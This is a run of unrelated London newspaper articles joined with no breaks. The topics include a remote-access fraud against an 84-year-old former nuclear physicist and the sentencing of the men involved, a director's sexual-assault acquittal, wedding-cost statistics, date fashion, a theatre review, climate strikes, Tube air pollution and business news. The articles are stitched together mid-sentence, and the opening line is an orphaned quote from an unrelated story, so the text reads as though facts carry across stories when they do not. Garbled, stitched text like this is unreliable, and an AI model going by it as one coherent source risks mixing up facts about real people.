"Despite the pain and suffering that she was in for the last week of her life, she had the capacity to pray for her attacker before she died. We believe she has found peace in the arms of her Heavenly Father."A retired nuclear physicist today told how fraudsters stole nearly 74,000 of his savings after remotely taking control of his computer.

Leopold Reeves, 84, who is suffering from tongue cancer, said the scammers took away his pension from when he worked at Sizewell B and Dungeness A power stations.

He received a phone call from a man posing as a National Crime Agency officer informing him that his computer was being used for money laundering.

Mr Reeves, of Barbican, told the Standard: The man said they needed my help to identify the offenders.

Once I logged on to my computer, they installed software which took over the device. I never doubted them for a minute. I just accepted it because I grew up law-abiding and trusting the police.

Scammer: Avinash Kakumanu helped con Mr Reeves out of 74,000 (City of London Police)

The scam involved Mr Reeves logging on to his online banking using the computer they had taken control of.

He was then instructed to make transfers at local branches to accounts he believed had been set up in his name. Mr Reeves was sent receipts and other documentation to print off and take to local bank branches to prove the accounts were his.

An investigation led to a third man Ranjit Nellikondi, 37, who received large deposits into his account and transferred them online to India.

City of London Polices cyber crime unit were able to track the money to Avinash Kakumanu and Dinesh Alavala, both 31.

Both Dinesh Alavala and his accomplice have been jailed / City of London Police

A search of their rented property in Newham uncovered 150,000 in cash, which is believed to have been taken from other victims. The seized money will now be subject to confiscation under the Proceeds of Crime Act.

After transferring 73,750 to two accounts last March, a further transfer of 22,000 raised suspicions at his bank and police were called.

Mr Reeves, whose bank returned just 25,000, added: The money was my pension saved over my career. Its been taken away. Im not aggrieved, I just have to put up with it.

"When the real police were called, it was a great comfort because it ended all the lies I had to tell my bank. The officers were fantastic but I dont think I will see all the money again.

At Southwark crown court this month, Kakumanu, Alavala and Nellikondi were sentenced after admitting various offences.

Kakumanu, of Newham, received three years for conspiracy to defraud, two years for money laundering and two for possession of criminal property, to be served concurrently.

Alavala, of Newham, was given two years and six months for conspiracy to defraud, 18 months for money laundering and 18 months for possession of criminal property, also to be served concurrently. Nellikondi, of Rotherham, received a two-year suspended sentence for money laundering.A BAFTA-nominated director has been cleared of sexually assaulting an actress in a west London flat.

Stephen Fingleton, who had been accused by an actress of being her Harvey Weinstein, wept in the dock of Isleworth Crown Court as he was found not guilty of attacking the woman after they had lunch last October.

The 35-year-old, from Enniskillen, Northern Ireland, looked at the jury and said thank you as the verdict was delivered.

The woman, who cannot be named for legal reasons, had claimed the director pulled her head towards his crotch as she hung washing.

A jury of six men and six women at Isleworth Crown Court found Mr Fingleton not guilty of one count of sexual assault after deliberating for eight hours and six minutes.

The trial previously heard the woman had made up an "untrue Harvey Weinstein-type allegation".

The pair had arranged the lunch after exchanging numbers at a British Film Industry event.

Mr Fingleton's barrister Orla Day told the trial the woman lied about the attack after becoming upset that he did not like a film she made.

In cross-examination, Ms Day said the woman hoped showing Mr Fingleton the film would "help you on your way to becoming famous".

She added: "Instead he effectively told you that he didn't think very much of your film and he wasn't interested in working with you.

"Were you concerned that your meeting had been a total disaster and you had embarrassed yourself?

"Did you decide in the heat of the moment to make an untrue Harvey Weinstein-type allegation against him?

"You know full well that the allegations you have made against him are lies."

Giving evidence to the jury, Mr Fingleton said the decision to meet the woman alone was "terrible".

He said the allegation came at a time when he was "on the point of becoming successful" but caused him to lose his attachment to an American film.

Mr Fingleton said: "I would say I had some success but I was not well known.

"I was on the point of becoming successful. At the time of the allegation I was attached to an American film that was to shoot the next year.

"That was with well-known actors, it was kind of a turning point. It's gone now."T here must have come a point in the days running up to Valentine's Day when non-coupled-up folk began to understandably feel left out.

To fill the gap, we've embraced new-age concepts such as Galentine's Day, marked on the day before Valentine's Day during which women celebrate women.

For those who treat Valentine's Day with general disdain, there's Singles Awareness Day (yes, really), also known as Singles Appreciation Day. Ironically (or cruelly, depending on how you look at it), it has the acronym of SAD.

What is Singles Awareness Day?

The antithesis to Valentines Day, Singles Awareness Day is held the day after V-Day and celebrates all the people who are not in romantic relationships.

The most romantic films of all time 1 /11 The most romantic films of all time When Harry Met Sally When Harry Met Sally has been winning over new generations of fans ever since being released back in 1989, and its appeal is still irresistible nearly thirty years on. Meg Ryan and Billy Crystal have unmistakable chemistry, and the film is rightly regarded as one of the greatest romcoms of all time. And whatever you do, have what she's having. Allstar/Cinetext/COLUMBIA Carol Critically-lauded romantic drama Carol stars Cate Blanchett and Rooney Mara as two women who conduct a forbidden love affair in 1950s New York. Beautifully and beguiling adapted from Patricia Highsmith romance novel, it was even once voted the best LGBTQ+ film of all time at the BFI Flare festival. Notting Hill 1999s Notting Hill is one of the classic British romcoms: Richard Curtiss screenplay is sparky and soppy in equal measure and Hugh Grant delivers one of his best performances. In it, he picks up where he left off in Four Weddings and a Funeral, all stutters and twiddling with his glasses. Julia Roberts is cast perfectly, while Emma Chambers charmed as Grant's giggling, manic sister. My Best Friend's Wedding Julia Roberts proved herself as queen of the 90s romcom with My Best Friends Wedding. The film, also starring Cameron Diazm and Michael ONeal, may have a questionable premise  Roberts is trying to win over an old love, in front of his fiancee  but it is a pleasingly unvarnished look at how complicated love can be. The real star, though, is Rupert Everett; his turn is worth a watch alone. Romeo & Juliet Leonardo DiCaprio and Claire Danes play the titular star-crossed lovers in Baz Luhrmanns stunning Shakespear adaptation. Its an unforgettable tale, and even if the ending isnt exactly cheery, its story of young love is as powerful and enduring as ever. 13 Going On 30 Jennifer Garner delivers a bright performance alongside a pre-Hulk Mark Ruffalo in this 2004 favourite. It's a classic body-swap comedy setup, with the pair playing childhood sweethearts who reconnect after Garners character is transported into the body of a 30-year-old woman. Its fun, sweet and a little silly  just the thing if you're getting tipsy on the fizz. Titanic If in doubt, stick with DiCaprio. Even for those who've seen Titanic over and over, the touching romance between Kate Winslet's Rose and DiCaprio's Jack is always worth revisiting  their scene together dancing to the Irish jigs fizzles as they dance grasping hands, eyes locked, lost in each other. The raft is a problem, though. Me Before You Emilia Clarke and Sam Claflin star together in this touching film, which explores the central relationship between a carer and a man left paralysed by a motorcycle accident. Its a moving watch, in which the pair learn to enjoy life and find love in difficult circumstances. Brooklyn Saoirse Ronan plays a young Irish woman who finds love after moving to New York in this romantic drama from 2015. After her strict mother puts pressure on her to return to Ireland and settle down, she must make a choice between what is expected of her and what her heart longs for. Dirty Dancing The late, great Patrick Swayze stars as charismatic dance instructor Johnny Castle in the unforgettable Dirty Dancing. Jennifer Grey also delivers a top performance as 17-year-old dancer Baby, who falls head over heels against all the odds in this 1987 classic. Tipsily trying the famous lift is probably best avoided.  The Notebook Get the tissues out for this one. Ryan Gosling and Rachel McAdams The Notebook is a weepy but uplifting romcom, which has been one of the go-to romantic films for couples everywhere since its release in 2004. The film is hardly subtle when it tugs at viewers heartstrings, but it remains one of the most epic cinematic love stories of recent times.

Is Singles Awareness Day different to National Singles Day?

Yes and no. Singles Awareness Day is celebrated on February 15 while National Singles Day is celebrated on March 11 in the UK. Yet, both days celebrate the same thing: the joy of being single.

What do people do to celebrate Singles Awareness Day?

Treat yourself to some essential 'me time' this Singles Awareness Day / Toa Heftiba/Unsplash

Singles Awareness Day is all about appreciating time with yourself, so here are some things you can do to commemorate the day:

Buy yourself some of your favourite things

Whether you treat yourself to takeout or splash out on some new make-up, that hard-earned cash you make is best spent on you.

Travel somewhere new

It doesn't have to be a grand getaway. Even if it's taking a different route home from work, doing something different can help revitalise your routine.

Write down all the things you love about yourself

It may seem daunting at first but once you get going, you'll surprise yourself with all the things that make you great.

Treat yourself to a pamper dayWith millions of workers in their 50s and older looking to return to the workplace or seeking better jobs, advocates say incidents of age bias are on the rise. One possible reason: Employers favor younger workers who may be hired at lower compensation.W eddings are a costly business and if you're curious as to what other couples are spending on their big day, then keep reading, as wedding planning app Bridebook.co.uk has just released its annual wedding report.

The average cost of a UK wedding fell slightly in 2018 for the first time since the recession  by just over 1 per cent compared to 2017  to 17,674, according to the app, which attributes this partially to "Brexit-related concerns", or so-called "branxiety".

"With uncertainty in the economy, millennial couples are being more savvy than ever to curtail their wedding spending," says Hamish Shephard, founder of Bridebook.co.uk.

Couples are increasingly opting for Sunday or mid-week weddings, and millennials are less concerned with marrying in a place of worship, according to the report.

"It is a sign of the times that double as many couples now use a wedding planning app than get married in a church," Shephard continued. "Apps are serving a purpose for the wedding generation: This year saw the launch of Deliveroos wedding catering service and botox for brides via digital beauty concierges!"

Bridebook asked over 2,000 recently married respondents to complete this survery - here are a few more key findings.

Popular dates to get married

If you're looking to avoid a clash or secure a bargain on venue then you should avoid the first two weekends of August which were the most popular wedding dates in 2018 among the respondents of this survey. Meanwhile the top 20 most popular dates of the year fell on Saturdays in summer and spring.

The report suggests couples who opted for the less popular months of January and February saved up to 5,000 compared to those who tied the knot in June-August. Meanwhile having a weekday wedding could result in savings of up to 6,000.

Biggest wedding expenses

Unsurprisingly, the venue continues to account for the largest portion of the wedding budget, at 6,539, up by 6 per cent since 2017, which was the biggest increase year-on-year than other categories. Meanwhile, the second biggest spend was on food and drink at 5,187. For inspiration, check out this article on the best wedding venues in the UK.

How many wedding guests?

The average number of evening guests rose from 80 in 2017 to 90 in 2018, according to this survey. Meanwhile the average number of guests for the wedding ceremony (79) and wedding breakfast (76) remained flat.

What age are people getting married?

The majority of couples surveyed were between 25 and 33, according to the report, which also found the average engaged bride is 32 years old at her wedding, and her partner is about two years older at 34.

How long do engagements last?

A quarter (24 per cent) of engagements last longer than two years, compared to only 19 per cent in 2017. But on average, most engagements last 18 months or less, the report found.

The rise of the wedding weekender

While almost three-quarters of couples keep their festivities to a single day, just over a quarter of respondents celebrated over two days or more.

"More and more couples are embracing American traditions in their weddings, with the 'weekend weddings' gathering particular momentum in the UK. Why celebrate just one day when you can celebrate 2 or 3?" says Shephard

Where are people honeymooning?

Europe is most popular for honeymoons (26 per cent), followed by the UK (15 per cent), and USA (11 per cent), and the survey suggests respondents spent an average of 4,875 on their honeymoons.Got a date coming up and want to try something other than your emergency little black dress?

Ahead of Valentine's Day, I've rounded up a few fashion-forward ideas, whether you're meeting a potential love interest for a quick post-work drink or a dinner somewhere fancy.

I Woke Up Like This

Heiko Prigge

For those of us who dream of just rolling out of bed and straight into our date outfit looking like a million dollars, this luxe Georgia Hardinge ensemble is the perfect solution. Nightwear as eveningwear has been a micro trend for a few seasons now, and looks like it is here to stay. For lazy dressers like me, this outfit is surprisingly low maintenance - you can pair it with a low heel (for example, these Mother of Pearl satin ones) or some fancy flats, some statement accessories and a fresh-faced glow - et voila!

Above everything, it is the comfiest date outfit you will wear - hands down - while still looking like you made an effort. Also, if you and your date really hit it off - the outfit says youve already slipped into something more comfortable for the night*wink wink*

Mother of Pearl Ivy Satin Bow Heels

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395 | Mother of Pearl | Shop it now

Mother of Pearl Jude Bag in Navy and White

187.50 | Mother of Pearl | Shop it now

Its Getting Haute In Here

Heiko Prigge

This stunning, eighties-inspired Anna October dress is perfect if you're ready to make an impression on a potential love interest. Its also suitable for a fun night with the girls for 'Galentines Day' too.

Pairing your statement-making dress with on-trend polka dot tights, a jewel-like statement clutch bag and feathery heels make this a flirty outfit that still leaves plenty to the imagination.

Rosantica Billie Beaded Wristlet Bag

598 | Luisaviaroma | Shop it now

Falke Dot Tights

15.19 | Zalando | Shop it now

All Day, All Night

Heiko Prigge

For girls that just dont have the time for an outfit change (that is most of us, lets be honest) throwing on a pretty puff-sleeved top and a nineties-inspired slip skirt offers a solution for being date-ready after a busy day at work. A bucket bag/backpack-combo, like the chic Josh from Danse Lente (as seen here) is perfect to fit all the essentials you need for the day, yet still is appropriate for the evening.

Also, these statement making Cuban heeled boots by Paris Texas are comfortable, yet glam enough to elevate your look into refined boho babe-territory. Whether you're squeezing in a daytime coffee date or opting for a casual rendezvous with your significant other over some sake and bao buns, its an outfit that ticks all the boxes - fabulously convenient for weekdays.

Ganni Swimton Striped Cotton Top

150 | Selfridges | Buy it now

Paris Texas Cuban Heel Boots

377 | Farfetch | Shop it now

Danse Lente Josh Bag

A welcome shift from Danse Lente's signature Johnny Bucket, this new style from their SS19 collectiois both practical and utterly chic.

381 | Moda Operandi | Buy it now

Pretty Perfect

Heiko Prigge

This romantic dress from buzzy London-based label Rixo hits the spot for those wanting to strike a balance between sweet and seductive. Accessorise with jewelled hair pins (trending heavily on Instagram and Pinterest right now) and a pearl-detailed mini bag from Mother of Pearl.

One of my favourite things about this kind of wrap dress is that you can dress it up or down by pairing it with either heels, boots or crisp white trainers. Perfect for a fancy brunch date or candle-lit dinner - just dont be surprised if your date gets on one knee

Rixo Betty Dress in Peach Floral

325 | Rixo | Shop it now

Mother of Pearl Jude Bag in Pink

375 | Mother of Pearl | Shop it now

Isabella Charlotta Poppius is a Finland-born actress, model and socialite.

Heiko Prigge photographed Isabella Charlotta at the Rosewood Hotel, LondonReview at a glance









A ll About Eve, one of the great films of the Fifties, pays tribute to the passion and quirks of theatreland while also satirising them. Its a sophisticated portrait of ego and ambition, famous for a thrillingly barbed central performance by Bette Davis, and bringing it to the stage seems both a logical step and a risky one.

The involvement of Belgian director Ivo van Hove guarantees a high level of technological wizardry. True to form, he uses roving camera operators to film the characters private moments. When we see their faces in intense close-up, we can observe their desires growing darker, and theres some impressive trickery with mirrors that highlights the morbid effects of ageing.

Gillian Anderson plays the Bette Davis role  Margo Channing, a diva clinging to her youth and defying an ageist industry. Whereas Davis gave Margo a regal grandeur that at times felt carnivorous, Anderson is cool and contained, more likely to seem brittle than ferocious. This means Margos classic line Fasten your seat belts; its going to be a bumpy night lands without much dash. But Andersons smallest gestures, such as a brief and pensive wrinkling of the brow, are eloquent.

Lily James is Eve Harrington, the devoted fan who becomes Margos secretary, then her understudy and rival. Its a performance of bright-eyed vitality, even though shes often pushed too far into the productions periphery, and James captures the cloying sincerity that masks Eves hunger for fame.

Theres skilful support from Rhashan Stone and Julian Ovenden. Monica Dolan is razor-sharp as Karen, the friend who accidentally damages Margos career, and Stanley Townsend has a finely controlled menace as theatre critic Addison DeWitt, whose suave manner conceals a violent possessiveness.

Yet while the original scripts best lines are preserved, this reinterpretation misses a lot of its humour, charm and bite. Its clever and technically accomplished, but between its bracing opening and absorbing final section it doesn't have enough spark.

Until May 11Call Me Mr Lucky

11 Southwark St, SE1 1RQ, twitter.com

All the hidden bars at the Breakfast Clubs around the capital are popular, with perhaps The Mayor of Scaredy Cat Town being the best known. Call Me Mr Lucky, on Southwark Street, happens to be our favourite. Once youve flirted with the staff  ask to get lucky  youre taken through the restaurants kitchens to a lively bar decorated like some twisted take on a kids party. Have a go on the wheel of fortune, where youll really want to get lucky, and win a free shot, and then work your way through the cocktail list. Like any good-time bar worth its salt, this place is big on tequila, and the drinks are light-hearted fun, but  here we go getting lucky again  along with the quirks comes quality. By the of the evening, before youre porured back onto the street, youll swear tequila is your new favourite drink, and youll be singing the party hits they play all the way home.T he Royal Academy of Arts has appointed the director of Amsterdams Van Gogh Museum to succeed Sir Charles Saumarez Smith in its top job.

Axel Ruger will take up the role as chief executive of the revered cultural institution in June and promised to begin a new and exhilarating chapter in its 250-year history.

A Cambridge University graduate who also worked at the National Gallery, he oversaw rising visitor numbers during a decade in Holland and developed the museums approach to social media.

He replaces Sir Charles, who has stood down after 11 years following the successful completion of a 56 million refurbishment of the academys London home on Piccadilly.

The role presents unusual challenges, with the artists and architects who form its membership playing a key role in its operation.

Axel Ruger moves to the Royal Academy from his role as director at the Van Gogh Museum / Van Gogh Museum

Mr Ruger said: The RA derives its unique character from being independent and artist-led, and I greatly look forward to working with the Royal Academicians as well as the dedicated staff to develop further the standing of the RA at home and abroad.

Following the 250th anniversary and the RAs recent expansion, it feels like the Academy is now ready to embark on a new and exhilarating chapter in its rich history.

I am excited about the opportunity to join at this critical moment and to work to tell great stories through ambitious and varied exhibitions, innovative programmes and debate and, more generally, to make the RA, its activities and collections ever more accessible to audiences from around the globe.

Mr Ruger is the latest in a line of Germans taking top jobs in Londons arts scene following the success of British Museum director Hartwig Fischer and the late Martin Roth, who led the V&A for five years until 2016.

The RA, whose members past and present include JMW Turner, Grayson Perry and David Hockney, celebrated its 250th anniversary with a major refurbishment project.

The work, designed by architect Sir David Chipperfield, included a new bridge linking its two buildings in Mayfair and Piccadilly, which helped to create 70 per cent more public space, allowing more of its historic collection to go on show, as well as work by contemporary members such as Gilbert and George and Sir Antony Gormley.

President of the RA Christopher Le Brun said Mr Ruger was the perfect fit for the job. He said: His success at the Van Gogh Museum is highly acclaimed, and he is widely acknowledged as one of the leading directors of his generation.S tudents in 60 towns and cities across the UK are protesting for a third time to demand action on climate change.

Protests earlier this year saw students missing school to join nationwide protests as part of the Youth Strike 4 Climate movement.

Inspired by Swedish climate activist Greta Thunberg, environmentally conscious students are calling for the government to take action on global warming.

Sizeable demonstrations are expected today across the country, including in Leeds, Manchester, Brighton and London.

Students in Climate Change Protest at Parliament Square - In pictures 1 /22 Students in Climate Change Protest at Parliament Square - In pictures PA PA AFP/Getty Images AFP/Getty Images AFP/Getty Images Getty Images Getty Images Getty Images Getty Images Getty Images AFP/Getty Images Getty Images AFP/Getty Images Getty Images Getty Images AFP/Getty Images Getty Images PA PA PA PA PA

Who is Greta Thunberg?

Greta Thunberg addressed world leaders in Davos (FABRICE COFFRINI/AFP/Getty Images) / AFP/Getty Images

Greta Thunberg is a 16-year-old schoolgirl from Sweden who has made headlines for her action against climate change.

In August 2018, Greta decided she would stop going to school on Fridays, choosing instead to picket outside the Swedish parliament (Rikstag) to raise awareness of global warming.

Her mission was to pressure the Swedish Government to pass legislation that would reduce carbon emissions in line with the Paris Agreement.

Since her strike action began, she has addressed world leaders at the COP24 United Nations climate change summit and the World Economic Forum.

Why are students protesting?

A coalition of students from Youth Strike 4 Climate, the UK Student Climate Network and the UK Youth Climate Coalition are striking to demand action from the Government.

The coalition says its students are "driven by an alarming lack of Government leadership on climate action over previous decades."

The latest wave of protests responds to a government report which revealed that the UK is set to miss its emissions targets.

Anna Taylor of the UK Student Climate Network said: Young people in the UK are sending those in power a clear message: we won't accept anything less than urgent climate action.

"Our futures, the health of our environment and the lives of those around the world already suffering the devastation of the climate crisis are not up for debate. We need [leaders] to act to protect people and the planet."

When is the Youth Strike 4 Climate taking place?

The fourth round of protests takes place on Friday 23 May. In London, the demonstration will begin at 11:00 am in Parliament Square.

This follows the third day of climate action on April 12, when thousands of students in the UK skipped school to demonstrate against global warming.

What cities would look like if pollution was visible 1 /10 What cities would look like if pollution was visible Tokyo The Japanese capital has an air quality rating of 56 Kuala Lumpur has an air quality level of 64 Singapore has an air quality rating of 56 The South Korean capital has an air quality rating of 48 The busy cosmopolitan city of New York has an air quality rating of 30 London has an air quality index rating of 25 While Instanbul has a rating of 161 Dubai's air quality rating stays at 83 Dehli's air quality rating was 223 Bangkok's rating was 92

Jake Woodier of Youth Strike 4 Climate said: Youth voices are too often left out of the discussion when it comes to climate change.

"Our current trajectory is completely incompatible with a clean, safe environment not only for ourselves but future generations as well."

What are students on strike asking the government to do about climate change?

The coalition is calling on the Government to declare "a state of climate emergency" and educate the British public in the seriousness of global warming.

They are also demanding changes to the school curriculum which will include education about climate change.T he air on the London Underground is filthy and we are breathing it in every single day on our commute to work.

A study released in January suggested spending an hour on the Tube was equivalent to spending a whole day standing by the side of a busy road.

The study, commissioned by Transport for London and carried out by the Committee on the Medical Effects of Air Pollutants, found the air on the Tube was polluted with PM2.5 or particulate matter, which can lodge in the lungs.

The report said: We cannot, rule out the possibility that there is a health risk from exposure to underground PM.

Concerns about air quality on the tube have been raised since the release of the report.

And Transport for London has committed to maintaining the cleanest air possible, complying with Health & Safety Executive guidelines.

Now, some design engineers based in London may have come up with a solution.

In a project supported by Imperial College London and the Royal College of Art, a team of four students have curated palettes of bacteria that could act to neutralise harmful pollutants in the air.

The team is testing out bacteria in neutralising the air / Cellul-air

The project, called Cellul-air, uses a process of bioremediation to mix with different pollutants and neutralise them to purify the air.

Amos Oyedeji, 24, has been given a scholarship to work on the project by the Royal Commission for the Exhibition of 1851.

He told Future London he and the team wanted to focus on air pollution as a subject because people were incredibly unaware of how important the issue is.

[Air pollution] is there and its having a negative impact on peoples health, he said.

After researching air pollution and technologies that can combat its negative effects, the team decided to look to bacteria as a solution.

We got quite interested in how each different bacteria has the ability to neutralise different pollutants, Oyedeji said.

The Cellul-air team: Amos, Kate, Nicole and Alex / Cellul-air

The team of design engineers, Kate Strudwick, Nicole Stjernsward, Alex Facey and Oyedeji, want to create cells of bacteria that are specifically curated to neutralise air in certain environments.

Oyedeji explained: We will come and measure the different pollutants  for example, metal particulates from rubbing on the rails on the Tube.

Then we will go back and curate a palette of bacteria that would be suitable in cells.

Although testing of the cells is still in its early stages, studies have shown positive results in trialling bacteria to remove dangerous particles in other areas.

Bacteria is already used in water purification to clean out pollutants like cyanide, Strudwick said.Fashion designer Jonathan Anderson believes that emerging brands are struggling to gain exposure on social media because it is saturated by established labels.

Anderson, 35, who launched his JW Anderson brand in 2008, said smaller brands were struggling to exist on platforms such as Instagram alongside industry giants.

The award-winning creative director said large fashion houses consume huge chunks of social media and buy the market share of celebrity and influencer content. He told ES Magazine: Automatically, anything that is above a 3 billion [2.6 billion] brand is going to consume huge chunks of it. That is how the industry has changed.

There was this moment where social media was great for young brands because the big brands werent using it. Now big brands can invest in it and, like magazines, buy market share. So it becomes harder for the smaller brands to exist in that system. Now its too engaged.

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Anderson, whose designs have been worn by Beyonce, Sienna Miller and Julianne Moore, said more needed to be done to help up-and-coming designers. I dont think we talk enough about these things. Younger brands need help more than ever to be able to navigate that, he added.

Anderson, who is from Northern Ireland, also said Brexit had created uncertainty in his industry, which made it difficult to be agile.Although Her Majesty seemed to thoroughly enjoy the experience, she wasn't just there to chinwag with Anna Wintour, instead, her debut was for a more important reason: to present the inaugural Queen Elizabeth II Award for British Design.

Bethany Williams will become the second emerging British fashion designer to be honoured with the award when she makes her London Fashion Week debut on Tuesday, 19 February, having preivously shown her collection at London Fashion Week Men's.

Designer Bethany Williams at the launch of the Fashion District / PA

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Bethany graduated from the London College of Fashion in 2016 with a MA in Menswear and has since been tacking social change through fashion.

From enviromental issues to women's rehabilitation, Bethany's unisex collections not only represent the change she wants to see, but also help to make that change happen.

Made out of recycled and organic materials, her one hundred percent sustainable designs are often in collaboration with different chariatable organisations. Her SS19 collection, for example, highlighted waste materials from the publishing industry and saw 20 per cent of the profits go directly to Mobile Library Charity.T esco, the Health Secretary Matt Hancock complained earlier this week, knows more about its customers than the NHS does about its patients.

He is quite correct. We are creatures of habit, after all, and while it is easy to coolly downplay the amount you drink to your doctor, theres no arguing with the cold, hard data revealed by your weekly shop.

A close look at my regular supermarket purchases could, Im sure, give a snooper all sorts of useful medical information: how much I drink; whether Im getting enough fruit and veg; if Im eating too much sugar.

Changes in my shopping routine could also be used to detect big developments in my life: when my wife and I started trying for a baby (pregnancy tests; folic acid tablets), how soon we were successful (nappies; wipes), when our baby first tried solid food and became constipated (prune juice  oh God, so much prune juice) and so on. How far could one go could with this?

When I was at university at St Andrews, a friend of mine liked to examine the discarded receipts littering the floor around the self-service checkouts at the main Tesco in the high street to see if he could deduce the character of the shoppers in question (dont judge: St Andrews is a wee town and those long winter nights need to be filled somehow). Sometimes the results were wonderful, he said. The receipts could sketch a perfect caricature.

Heres one from a weekday evening worthy of Bridget Jones herself: Cadbury Dairy Milk. Pinot Grigio. Tissues.

But character analysis based on expenditure does have its limits. The best receipt he recounted to me defies characterisation and instead reads like a small, cryptic poem: Custard creams. Peaches. Peaches. Peaches.

Citizenship test can teach us all a lesson

Today my wife, an American whos lived here for the last 10 years, takes her Life in the UK Test as part of her application for British citizenship.

When the official study booklet arrived, I rolled my eyes at what I thought must be a classic box-ticking exercise from the Home Office. It is, of course, but I still found that I was impressed by the booklets clear, succinct run-through of this countrys history, legal system, cultural figures, traditions and customs. To my embarrassment, theres now plenty my wife can tell me about my home that I didnt know. Maybe we should make the test mandatory in schools.

Catastrophe! What will I watch now?

Rob Delaney and Sharon Horgan (Mark Johnson)

Channel 4s Catastrophe  Rob Delaney and Sharon Horgans sharply honest sitcom about a couple who decide to marry despite barely knowing each other because of an unplanned pregnancy  has been one of my favourites.

Behind laugh-out-loud lines and sympathetic characters, the first three series were set against the looming fear that something terrible  birth complications, infidelity, alcoholism  was about to make everything fall apart. This years fourth and final season, however, felt a bit toothless. Rob and Sharon, at last, seemed stable-ish. Whats Catastrophe without a catastrophe?

But last nights finale was a return to glorious uneasiness. The episode was framed around the sudden death of Robs mother  even more poignant as she was played by Carrie Fisher, who died in 2016. As for the final scene, I wont spoil the details, but it is one of the great ambiguous TV endings.

New perspective on Tate voyeur flats

Is it a victory for a loved public institution or for voyeurs? Yesterday the residents of Neo Bankside development lost their case against Tate Modern that would have forced the gallery to close part of the rooftop viewing platform on its handsome extension.Another resident, Arwin Singh, 31, a construction contractor, lives across from the T-Mobile store, telling the Daily News: There were at least 15 to 20 shots. I thought, who plays with firecrackers in the rain? I looked out and the cops were running into (the store) to get them. There were two guys who put their hands on their heads. I couldnt tell if they were robbers or workers. Then the cops came out and put one guy in an ambulance.S truggling fast-fashion chain New Look on Wednesday showed early signs of recovery as it moved into the black after a tumultuous year.

The retailer, which has been in turnaround mode since boss Alistair McGeorge rejoined in 2017, made underlying profits of 38.5 million for the first three quarters to December 22.

This was up from a loss of 5.1 million compared with the same period the year before.

Its total same-store sales in Britain were also positive at 0.9%. However, revenues fell by 5% as rivals such as Primark and Asos continued to lure away shoppers.

Global Data retail analyst Sofie Willmott said: If New Looks transformation plan is to be truly successful, it must achieve growth in revenue.

New Look shut 86 of its 593 stores in Britain and had to exit China and Belgium to stay afloat.H oliday Inn-owner InterContinental Hotels Groups efforts to attract more affluent customers were boosted on Wednesday as it agreed a $300 million (232.6 million) purchase of a luxury resorts operator.

FTSE 100 firm IHG said it has inked a deal to buy Bangkok-headquartered Six Senses Hotels Resorts Spas from US investment group Pegasus Capital Advisors.

The transaction includes brands and operating companies behind 16 upmarket hotels. IHG will now run sites such as the Six Senses Laamu in the Maldives, where double rooms start at 953.29 a night. Other locations include Yao Noi in Thailand, Zighy Bay in Oman and Portugals Douro Valley.

IHGs Keith Barr, who became chief executive in 2017, said Six Senses is an outstanding brand in the top tier of luxury and one weve admired for some time.

The deal brings the number of IHGs luxury hotels, either already open or in the pipeline, to 400 worldwide.

The swoop comes one year after Barr unveiled his growth strategy for IHG, which included expanding its luxury division. He said at the time he wanted to invest more to boost growth.

Barr made his first luxury purchase last year, buying a 51% stake in upmarket brand Regent Hotels and Resorts for for $39 million.

Shares in IHG, which has faced competition from online rental accommodation companies such as Airbnb, rose last summer before falling in the final quarter of last year. Today the City welcomed the Six Senses deal and the shares gained 35p to 4493.5p.

Morgan Stanley analyst Jamie Rollo pointed out that Six Senses is currently loss-making and not expected to make a profit for another two years. His note today called the deal sensible but expensive.D ont forget the Special Relationship. Its the one thing that Tory Brexiteers cling to as we gaze into the yawning chasm of a March 29 cliff-edge divorce with the EU. The relationship that really counts, they reckon, is not to be found in Brussels but in Washington DC.

Never mind the deal that is proving so difficult with the EU, because the deal that will prove truly rewarding is the one with the US, a free-trade pact that the European Commission has notably failed to achieve with the White House after decades of wrangling.

Liam Fox, the trade secretary, believes Britains special friendship with America and its long-standing military ties will give it the edge in persuading President Trump and the US Congress to warmly embrace Britain after it leaves the EU.

It sounds vaguely plausible, if you ignore the obvious practical stumbling blocks  chlorine-washed American chickens and US beef laced with growth hormone filling the chill cabinets at Tesco.

Why shouldnt our biggest and oldest ally offer a friendly hand as Britain leaps into the unknown? The irritating answer is that the UKs old ally has to consider another Special Relationship, Ireland.

Last week, a group of 40 prominent Irish-Americans, including five former ambassadors to Dublin and a former special envoy to Northern Ireland as well as a clutch of former US state governors, wrote to Theresa May expressing their concern that the Good Friday Agreement was being used as a pawn in Brexit negotiations.

The US is a guarantor of the Good Friday Agreement, which substantially ended violent sectarian conflict in Northern Ireland and made it possible to end the physical border between the republic of Ireland and the UK.

It was President Bill Clintons biggest foreign policy success; the disappearance of the border has been a huge boost to the economy of the whole island of Ireland and, coincidentally, the Good Friday Agreement celebrates its 21st anniversary 12 days after Brexit is due to take effect.

Of course, the current US president is no fan of his Democrat predecessor but that matters not a jot because the important point is not the reputation of the Clintons but the opinions of the many millions of Americans who like to claim Irish ancestry.

They are a political constituency  white, often blue-collar Americans who tend to vote Democrat. However, Irish-Americans have big political clout in the rust-belt towns and cities where Trump has used his loudhailer and Make America Great Again is a popular slogan.

If Irish-Americans were to become aware that Britain was again attempting to draw an imperial red line across the green fields of Ireland, the UK might as well abandon any idea of getting a sweetheart trade deal through the US Congress. And a UK trade secretary would probably be wasting his time calling on favours from a President more interested in stealing the votes of Irish Democrats in two years time than selling chickens to Britain.

It explains why Fox is reduced to hailing smaller victories. Switzerland has agreed to substantially roll over the terms of its trading arrangements with the EU into a provisional trade agreement with the UK in the event of a no-deal Brexit.

The trade secretary had promised two years ago that he would ensure that the EUs 40 trade agreements with third countries would be rolled over into new UK agreements to ensure continuity. The Faroe Islands and Chile have also agreed but key trading partners such as Japan, South Korea and Canada are still not onside.

According to a report in the Financial Times, Japan is in no hurry to sign up, calculating that it will get a better deal by making the British wait.

The Trade Secretary seems to be telling the worlds great economic powers that they should rush to do business with free-trading Britain in order not to miss a deal of enormous value that might otherwise be lost.

But Fox has got it upside down. Japan, the US, India, South Korea and Canada are all too aware that the cookie is about to crumble.I n Brewsters Millions, the 1985 film starring Richard Pryor, Montgomery Brewster has to spend $30 million in 30 days.

How difficult can this be? Very, it turns out. Then again, its a dreadful movie.

But perhaps Treasury mandarins and the rest of the banking trade now know how Pryor felt.

Between them they have been trying to dish out 775 million in state aid to boost small banks since 2010.

The money is to come from the Royal Bank of Scotland to boost competition in banking as part of the terms of RBSs state bailout in 2008 agreed with the EU.

The first round of grants is due to be announced on February 22, nearly 10 years after the process began and barely a month before we arent supposed to be in the EU anyway. Even setting that issue aside, dishing out the cash is proving problematic.

